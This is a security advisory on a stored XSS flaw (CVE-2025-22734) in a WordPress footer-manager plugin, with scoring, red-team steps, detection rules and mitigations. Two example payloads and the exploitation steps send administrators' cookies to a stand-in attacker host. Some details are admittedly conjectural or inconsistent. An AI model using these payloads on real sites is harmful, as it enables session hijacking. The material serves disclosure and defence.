CVE-2025-22734

Executive Summary

CVE-2025-22734 is a Stored Cross-Site Scripting (XSS) vulnerability in the Posts Footer Manager WordPress plugin by Data443 Risk Mitigation, Inc. This plugin allows users to manage footer content on posts. The vulnerability arises from improper neutralization of user-supplied input during web page generation, enabling an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript or HTML into the footer. When an administrator or other user views a page containing the malicious footer, the script executes in their browser context, potentially leading to session hijacking, defacement, or data theft. The CVSS score is 5.9 (Medium), and no official patch has been released as of the latest analysis. This issue affects all versions up to and including 2.1.0.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and potentially through third-party marketplaces. Users should verify the integrity of their plugin files and monitor for updates from the vendor. Since no patch is available, immediate mitigation steps are critical.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
• Privileges Required (PR): High (H) – An attacker must have at least contributor-level access to the WordPress site.
• User Interaction (UI): Required (R) – The victim must view a page containing the malicious footer.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on availability.

Overall CVSS Score: 5.9 (Medium)

Threat Level: Medium. Exploitation requires authenticated access, but the impact can be significant if an administrator is targeted.

Deep Dive & Mechanics

The vulnerability resides in the intelly-posts-footer-manager plugin. The plugin likely stores footer content in the WordPress database without proper sanitization or output encoding. When the footer is rendered on the frontend, the stored malicious script is executed in the browser of any user viewing the page.

Root Cause: The plugin fails to sanitize user input (e.g., via wp_kses() or similar functions) before storing it in the database, and fails to escape output (e.g., via esc_html() or wp_kses_post()) when rendering the footer.

Attack Flow:

1. An attacker with contributor-level access logs into WordPress.
2. The attacker navigates to the Posts Footer Manager settings or post editor.
3. The attacker injects a malicious payload, such as <script>alert('XSS')</script>, into the footer field.
4. The plugin stores the payload in the database without sanitization.
5. When an administrator or other user views a page that includes the footer, the script executes.

Example Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on best practices.

Vulnerable Code (Conceptual):

// In the plugin's save function
update_post_meta($post_id, 'footer_content', $_POST['footer_content']);

// In the plugin's display function
echo get_post_meta($post_id, 'footer_content', true);

Patched Code (Conceptual):

// Sanitize on save
$sanitized_footer = wp_kses_post($_POST['footer_content']);
update_post_meta($post_id, 'footer_content', $sanitized_footer);

// Escape on display
echo esc_html(get_post_meta($post_id, 'footer_content', true));

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress instance with the vulnerable plugin installed (version <= 2.1.0).
• An authenticated user account with contributor-level privileges or higher.

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Navigate to a post editor or the plugin's settings page.
3. In the footer field, inject the following payload:

   <script>new Image().src='https://attacker.com/log?cookie='+document.cookie;</script>
   

4. Save the post or settings.
5. Wait for an administrator to view the page, or send a link to the administrator.

Expected Outcome: The administrator's session cookie is exfiltrated to the attacker's server.

Blue Team

Detection & Response:

• Monitor for unusual JavaScript execution in the footer area of posts.
• Review WordPress user activity logs for suspicious changes to footer content.
• Use web application firewalls (WAF) to block common XSS payloads.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Lab Setup for Testing:

1. Install a local WordPress instance (e.g., using XAMPP or Docker).
2. Install the vulnerable plugin from the WordPress repository.
3. Create a test user with contributor role.
4. Use browser developer tools to inspect network traffic and DOM changes.

Indicators of Compromise (IOCs)

• File System:

  • Modified plugin files in /wp-content/plugins/intelly-posts-footer-manager/
  • Suspicious entries in the wp_postmeta table with meta_key containing footer_content

• Network:

  • Outbound requests to unknown domains from the WordPress server
  • HTTP requests containing document.cookie in the query string

• Logs:

  • WordPress debug log entries showing unexpected script execution
  • Web server access logs with unusual User-Agent strings or referrers

Detection Engineering

YARA Rule

rule Detect_Stored_XSS_Footer_Manager {
    meta:
        description = "Detects stored XSS payloads in Posts Footer Manager plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22734"
    strings:
        $xss_payload1 = /<script[^>]*>.*?<\/script>/i
        $xss_payload2 = /on\w+\s*=\s*['\"].*?['\"]/i
        $xss_payload3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS via Posts Footer Manager
id: 8a4b6c2d-1e3f-4a5b-9c7d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts in the Posts Footer Manager plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: 
            - '/wp-admin/'
            - '/wp-content/plugins/intelly-posts-footer-manager/'
        cs-method: 'POST'
        sc-status: 200
        cs-uri-query|contains:
            - '<script'
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in footer content
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-22734 Stored XSS in Posts Footer Manager"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/"; http_uri; content:"footer_content"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Restrict user roles – Only allow trusted administrators to edit footer content.
3. Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
4. Apply a Content Security Policy (CSP) that restricts script execution to trusted sources.

Long-Term Fix:

• The vendor must release a patched version that properly sanitizes and escapes footer content.
• Users should monitor the WordPress plugin repository for updates.

Workaround:

• Use a custom function to sanitize the footer content before display:

  add_filter('the_content', function($content) {
      $footer = get_post_meta(get_the_ID(), 'footer_content', true);
      if ($footer) {
          $content .= esc_html($footer);
      }
      return $content;
  });
  

Valters IT
Securing Digital Frontiers